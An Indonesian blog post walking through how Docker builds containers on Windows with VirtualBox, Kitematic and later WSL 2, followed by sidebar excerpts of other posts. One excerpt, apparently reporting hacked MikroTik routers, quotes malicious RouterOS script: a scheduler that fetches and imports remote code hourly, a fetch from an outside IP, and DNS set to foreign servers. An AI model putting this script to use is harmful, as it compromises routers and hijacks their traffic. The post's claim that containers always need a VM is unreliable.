Langsung ke konten utama

Docker : melihat teknis kerjanya membangun container

email : ariyaandro@gmail.com

sebelum memulai membaca apa yang akan di gambarkan apa itu docker secara teknis dalam mambangun suatu container, alangkah baiknya sudah mengerti dan sedikit paham mengenai hal berikut :

  1. Virtual Machine (VM)
  2. Komputer Client – Server
  3. web server
  4. OOP (Object Oriented Programming)

Docker merupakan project open source yang menyediakan platform terbuka untuk developer maupun sysadmin untuk dapat membangun, membundel dan menjalankan aplikasi dimanapun dalam satu container yang ringan. Mirip seperti Virtual Machine (VM) namun lebih ringan karena Docker tidak membawa keseluruhan sistem operasi, melainkan berbagi sistem dengan host induknya.


lalu untuk pembuka gambaran docker bisa juga baca2 link berikut, dalam penyajian presentasinya cukup menarik dan simple :

https://xebia.github.io/twc-cd-with-docker/#/

untuk melihat gaya perintah dalam menggunakan docker untuk memfungsikan container, bisa dibaca juga link berikut :

https://blog.jayway.com/2015/03/21/a-not-very-short-introduction-to-docker/

sedikit ulasan berbahasa indonesianya bisa dari link berikut yang cukup enak bahasannnya :

https://blog.andi.dirgantara.co/teknologi-kontainer-pengantar-pengenalan-docker-706eafe03269

container yang akan dibahas ini adalah container yang berjalan di docker dengan VM desktop yaitu pada Virtual Box, yang mengambil basis pada windows. direkomendarikan menggunakan komputer atau laptop yang belum ada Virtual Box dan Docker yang terinstall sebelumnya. klo sudah sih tak apa, disini akan digambarkan sedikit demi sedikit penjelasan bagaimana container ini bisa jalan dan aktif siap digunakan secara sederhana.

sebagai pembuka, berikut gambaran teknis berdasarkan diagram proses docker container yang umum di internet dan kemudian di asumsikan oleh postingan ini secara teknis. dan tentunya tak terlepas dari saling koreksi selanjutnya, berikut gambaran sementara teknis dari docker :

gambar 1. diagram client-server dari container (in VMware) dan bukan container (in VBox)

bagaimana ? jadi salah expetasikah dengan hasil gambar dari hasil pencarian di internet dengan kata kunci “docker container

ok untuk jawabannya akan di tulis secara berkelanjutan lagi oleh mimin ya kakak. mimin juga sedang belajar docker ini dan memastikan pemahaman teknisnya dikarenakan masih sedikit sekali yang meruncing bahasan tentang segi teknis dari teknologi container ini khususnya di docker.

dari gambar 1 penulis mencoba untuk menterjemahkan sedikit demi sedikit bagaimana dan di mana proses suatu container terbentuk. pada umumnya system container digambarkan seperti diagram berikut.

lxc_2D00_vm

gambar 2. antara VM dan Container

sedikit info yang belum tahu dari gambar 2 di atas hypervisor dan VMware merupakan programs yang sama dalam membangun suatu VM. dapat diperhatikan bahwa sepertinya pada saat terbentuknya container tidak ada guest OS yang berjalan atau yang tergunakan, dengan langsung menuju ke binary/library yang ada di atas Host OS. untuk binary/library dan app itu sudah masuk dalam wilayah container, seperti berikut :

gamba 3. letak conrainer

dalam diagram gambar 2 tersebut wajar tak tergambarkan guest OS di container dikarenakan dalam system container tidak diperlukan system OS seutuhnya seperti loading booting, berbagai macam system pembangun ketika desktop os pertama up untuk siap digunakan kerja dan sebagainya secara penuh. namun container hanya memanfaatkan fungsi-fungsi penting dalam menjalankan suatu programs dalam suatu OS yang dapat diibaratkan ada VM/virtual machine windows server tanpa perlengkapan system32 secara penuh dalam membangun OS yang siap di operasinalkan hanya ada system pendukung penuh untuk segala aplikasi di “programs file”. maka pada gambar 2 dan 3 penulis sesuaikan lagi secara teknis pada gambar 1 di atas, dimana sebenarnya masih ada dan butuh system OS (seperti kutipan text hijau di awal postingan ini dan penjelasan dari yang lain tentang docker membangun container).

penulis mengambil proses pembentukan suatu container dari sisi aplikasi virtual mesin desktop yaitu Virtual Box, namun secara basic semua aplikasi/program VM itu bertujuan sama mensimulasikan OS secara virtual. dalam vmware terlihat dalam mambangun banyak aplikasi maka bisa membuat sebuah VM yang nantinya di dalam VM tersebut dijejali banyak aplikasi sesuai kebutuhan. namun untuk aplikasi dengan lintas OS (dari web server ubuntu ke fedora) tentunya akan membuat VM satu kembali dimana config VM untuk OS lainnya di miripkan atau sama dengan VM yang pertama tentunya walau OS nya berbeda dan dari segi aplikasi biasanya service antar lintas OS tentunya tak akan sama atau minimal mirip dikarenakan standard dari setiap OS berbeda dalam menjalankan prosedur aplikasinya. walau sebenarnya dengan cara clone VM sudah bisa membuat web server ulang dengan kelengkapannya kembali dengan resource yang hampir sama atau lebih ditinggikan kembali, dari sini teknologi container mengambil celahnya. berikut gambaran container pada docker :

gambar 4. container on docker

suatu container tidak harus membutuhkan config resource virtual mesin yang seperti di PC yang ada OS sepenuhnya. container diciptakan agar menggunakan resource serendahnya dan seperlunya saja, yang tentunya sudah terpangkas tak menggunakan system OS sepenuhnya. jikalau pada PC atau VM pada umumnya sebelum ada container ini, setiap VM itu dalam membangun OS nya harus ada file .ISO sebagai installer OS nya dan master aplikasi untuk di install. namun container tidak sepenuhnya seperti itu, dalam menjalankannya ini hanya me-read system OS (image.tar) dan terbentuklah container bedasarkan image yang di load di dalam system docker. sebenarnya image.tar ini seperti me-remastering linux sesuai kebutuhan khusus yang diinginkan dan mengemas ulang ke .ISO misal Linux Mint yang basisnya dari ubuntu. berikut kurang lebihnya bila image.tar dibedah.

gambar 5. dalam file image.tar

dapat sedikit dipahami kembali dari gambar 1 hingga 5 ini bahwa container ini sebenarnya ada system OS pendukung yang di sertakan walau tak selengkap dan power full dengan OS installer sepenuhnya pada desktop user. dan perlu diperhatikan bahwa image.tar debian di atas hanya sebesar sekitar 100 MB saja. cakep bukan 🙂

dari image.tar itu akan di read oleh container dan segala perubahan ada disimpan tersendiri pada data disk yang tercitak dalam docker berdasarkan per container yang terbentuk dalam docker di VM nya. maka dari dapt dijelaskan bahwa sebuah image container bisa dan boleh di akses oleh banyak container dengan tujuan berbeda-beda seperti berikut.

gambar 6. sistem barbagi image di container

dan dari beberapa gambar di atas dapat disimpulakan kembali seperti gambar berikut dalam melihat posisi kembali container pada docker.

gambar 7. containers_versus_virtual_machines


dari sini silahkan install dulu docker di windows, berikut link video install docker pada windows ( https://www.youtube.com/watch?v=3IEvmCYjdRc )

yang hasil install docker akan muncul 3 icon seperti pada gambar 8 di bawah ini yaitu VirtualBox, Kitematic,Docker QuickStart.

anydesk00027

gambar 8.properties VM docker container

VirtualBox disini akan ada vm default secara langsung merupakan vm dari docker yang tercipta saat proses instaasi docker tools.

Kitematic akan digunakan sebagai tool GUI untuk download registry dan setup docker nantinya secara sederhana pada windows. dimana di saat membuka tool ini akan langsung up kan vm docker di virtual box, dan nantinya akan sekaligus konek ke store domain docker.

gambar 9. startup kitematic

gambar 10. dashboard kitematic

dari menu gambar 10 di atas ada “My images” disitulah akan menampilkan daftar image container yang telah ter-downlaod yaitu image.tar.

Docker QuickStart sebuah jembatan terminal antara terminal/console pada vm docker yang sedang berjalan. dimana di saat membuka tool ini akan langsung up kan vm docker di virtual box, dan selebihnya bias manage docker dari sini untuk lebih advanced nya.

gambar 11. docker terminal

docker ini sebenarnya berjalan di dalam suatu VM (dalam hal ini dalam paket installernya menggunakan vm desktop yaitu VirtualBox) di mana file docker.iso (file sebenarnya boot2docker.iso) akan di load saat proses booting vm berjalan live (jadi bila didalamnya ada perubahan maka akan terhapus bila docker di booting ulang dalam VM). berikut isi folder VM docker yang tercipta

gamabr 9. isi folder vm docker pada windows

coba lihat setting properties dari VM docker (nama vm nya “defaut”) dalam virtual box agar semakin paham yang di maksud. terlihat bahwa ada disk virtual yang terbuat dan bila nantinya sudah ada image container dan container yang berdiri di dalam (disk.vmdk) docker maka disk tersebut akan membengkak seperti contoh di gambar 9. dan berdasarkan gambar 1 yaitu pada bagian drive (kotak orange) di dalam VM docker itulah disk.vmdk yang penulis maksud. jadi penggambaran docker selanjutnya seperti berikut.

gambar 10. digram berbagi service antar container

berikut hasil bila ada container yang sedang running, info IP dan Port dari suatu container akan dimunculkan sesuai fungsi dari container yang sudah di download yang artinya bila yang di ambil adalah container web server (nginx misalnya) maka akan ada info akses port ke 80 dari container tesebut dengan alias akses port random yang di infokan tentunya.

gambar 11. container running dan akses terminal suatu container

dari gambar 11 di atas terlihat bahwa container masih di sertakan folder persis seperti sebuah OS Linux utuh, sesuai bahasan teori teknis sebelumnya. sedikit catatan bahwa ketika kitematic ini di close, container masih dalam ke adaaan running dan bila semua container off VM docker tetaplah up juga. tapi tenang itu cuman setting di kitematic nya saja, jadi bisa di sesuaikan nantinya. dan dapat di akses pula container melalui terminal dari tombol menu EXEC dan akan di link openkan ke shell windows. dari shell terminal itu bisa dijalankan perintah Linux pada umumnya, namun bila menjalankan perintah shutdown Linux yaitu “init 0” seperti gambar di bawah ini maka pada container di dastboard kitematic masih terlihat running walau nantinya shell terminal nya akan close (bisa dibuka kembali dengan menekan kembali tombol EXEC). dari init 0 tadi terlihat bahwa system os tidak jalan seutuhnya sesuai konsep container, begitu pula perintah system lainnya yang biasanya ada pada OS desktop maupun Linux server yaitu make. berikut hasil eksekusi perintah Linux nya.

gambar 12. akses telminal container linux

gambaran port akses dari suatu contain dapat di lihat seperti berikut.

gambar 13. akses port container

coba stop dan start kembalilah container dari dashboard kitematic, butuh berapa detik ? nah itulah container ia hanya up langsung seperti maount sebuah file iso, dikarenakan image.tar saat di container kan ia hanya eksekusi langsung apa-apa yang ada di fungsi image tersebut.

munkin sementara itu penelasan teknisnya, lain waktu mngkin ada revisi kembali di posting ini setelah explore docker di kesempatan lainnya….


secara pandangan penulis ilmu container docker ini terletak pada tingkat/urutan/tahapan ilmu seperti berikut kurang lebihnya:

  1. komputer (pengertian umum)
  2. cara merakit PC (rakitan)
  3. operating system (Linux,windows,solaris,dkk)
  4. aplikasi server (apache,mysql,dkk)
  5. networking (routing,firewall)
  6. virtual mesin (Vbox,VMware,HyperV,dkk)
  7. container (LXC,docker,dkk)

jadi biar tak bingung masuk bab container ini, tentunya ilmu yang tersampaikan itu baik ketika pada waktunya.

update 29 Agustus 2021

update post karena lagi kepo lagi, soalnya docker for windows yang dahulunya pakai kernel di vm lunix sendiri skarang ikut sub system yaitu WSL 2 di windows 10, namun bukan itu yang ingin mimin update. ngin share lagi bahwa pendapat teknis di atas masih benar danya dari video berikut.

berhatikan langsung di menit ke 4

dimana conteiner masih butuh sebuah virtual machine belum bisa berdiri sendiri, walau mimin berusaha cek2 lagi. diagram tentang kerja docker masih saja buanyak yang tanpa ada keteangan VM. terkesan sangat lebih baik dari VM seperti virtuabox atau semacamnya, mungkin container menurut mimin container dan docker itu versi lite sebuah VM OS dimana lebih disebut dengan microsystem saja. docker engine itu butuh bisa berjalan harus ada aplikasi VM untuk saat ini, belum bisa berdiri sendiri. dari diagram beirkut saja, kesannya bisa berdiri sendiri dan tanpa ada penopang aplikasi VM.

sumber : https://www.linuxjournal.com/content/docker-lightweight-linux-containers-consistent-development-and-deployment

install WSL dan bagaimana WSL itu bisa cek2 sini

selebihnya silahkan komen, bila ada kurangnya mohon maaf dan selebihnya diusahakan akan direvisi posting ini agar lebih relevan dan tepat sasaran…

salam rekan teknisi seprofesi
__________________________________

link profile teknis penulis

email : ariyaandro@gmail.com

Komentar

Postingan populer dari blog ini

Mikrotik : Wabah November 2018

email : ariyaandro@ gmail.com post yang lalu yaitu : Mikrotik : Serangan Hajime Botnet ke seluruh mikrotik dunia Mikrotik : Wabah september 2018 Mikrotik : Wabah Oktober 2018 update temuan script hacked yang baru lagi,…   /system scheduler add interval=1h name=updateSZJS on-event=":do {/tool fetch url=\"http://meag\ han. pythonanywhere.com /\" dst-path=tmp} on-error={:put \"get http error\"}\ ;\r\ \n/import tmp;\r\ \n/file remove tmp;" policy=\ ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\ mar/31/2018 start-time=20:21:00 /system script add name=script4_ owner=xxx policy=\ ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\ ddress= 95.154.216.168 port=2008 src-path=/mikrotik.php mode=http keep-resu\ lt=no"   /ip dns set allow-remote-requests=yes servers=" 94.247.43.254,1\ 07.172.42.186,128.52.130.209,163.53.248.170,185.208.208.141 " /ip firewall nat add action=redirect chain=dstnat comme...

Troubleshoot : Cek dan Menurunkan Beban CPU Mikrotik karena SPI Service

email : ariyaandro@gmail.com POSTING 813 kapan lalu mimin mengalami kendala jaringan yang sedikit melemah dan ternyata ada gangguan load CPU pada mikrotik seri 2011UiAS-2HnD, lanjut gunakan tutorial berikut untuk menemukan dugaan yang ada Cara Mengetahui Proses yang Menyebabkan CPU Usage Tinggi di Mikrotik akhirnya terpantau CPU tinggi walau kondisi idle di luar jam kerja di beberapa minggu trakhir dengan rerata CPU load hampir 50 %, pertama untuk meastikan disable atau hapus rule yang tak terlalu wajib utk sementara. namun kendala CPU load cukup tinggi, dugaan rentang sekitar 2 minggu trakhir ada update OS itu yang mengakibatkan ada bug yang berimbas ke service SPI. dikarenakan router yang sama di lokasi berbeda dengan OS update yang sama dengan rule yang hampir sama jumlah aktifnya tidak mengalami load cukup tinggi. Cara Memperkecil Load CPU Mikrotik hasil pengecekan tool-profile ternyata service SPI yang sedang bermasalah memakan resource cukup tinggi dan merepotkan traffic jaringan...

Troubleshoot : intel management engine interface - shutdown problem - can't power off

email : ariyaandro@gmail.com POSTING 797 beberapa waktu lalu mimin ada sedikit problem yang menggangu yaitu ketika PC melakukan proses shutdown selesai, power PC tidak bisa langsung off sempurna (diakhir proses shutdown hanya dim warna hitam saja pada layar) harus dimatikan paksa. namun dengan solusi berikut syukurlah membantu kembali lancar shutdown dengan baik. spek yang sedang digunakan PC yang problem ini yaitu menggunakan Windows 10 Pro 64 bit. setelah mencari artikel yang sesuai berikut https://forums.tomshardware.com/faq/fix-intel-registered-management-engine-interface-has-a-driver-problem.3274586/ https://tencomputer.com/intel-management-engine-interface-driver/ https://www.drivereasy.com/knowledge/intel-r-management-engine-interface-this-device-cannot-start-on-windows-solved/ https://community.spiceworks.com/topic/2095008-remove-intel-management-engine kesimpulan , ada kemungkinan masalah driver yaitu intel management engine interface. maka dilakukan rekomendasi uninstall driv...